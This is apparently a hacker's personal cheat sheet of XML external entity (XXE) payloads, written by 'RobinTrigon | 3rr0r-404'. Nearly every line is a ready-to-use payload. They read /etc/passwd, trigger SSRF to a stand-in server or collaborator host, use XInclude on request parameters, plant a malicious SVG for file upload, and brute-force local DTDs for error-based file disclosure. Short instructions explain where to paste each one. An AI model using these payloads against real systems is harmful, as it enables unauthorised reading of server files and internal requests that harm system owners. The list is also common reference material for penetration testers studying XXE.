My xxe payload

writen by: RobinTrigon | 3rr0r-404

Exploiting XXE using external entities to retrieve files

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

if 1st was fail

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd"> %xxe; ]> //dont call xxe

XXE to perform SSRF attacks

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://sarver-ip/"> ]>

XXE TO SSRF

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://colabrator/"> ]>

Entities are not allowed

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://colabrator/"> ]>

Entities are not allowed

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://collabrator"> %xxe; ]> //dont call xxe

must try

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd"><!ENTITY sp SYSTEM "https://collabretor/">]><r>&xxe;&sp;</r>

Peram Based

Just replace any peramiter with it and egrep "root:x|daemon:x"

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

file upload

save this as svg file and upload it. now check your uploaded picture with root:x content.

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

brutforceing dtd

bruteforce "bruteforce-here" with your dtd list and grep root:x | daemon:x

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file://bruteforce-here">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>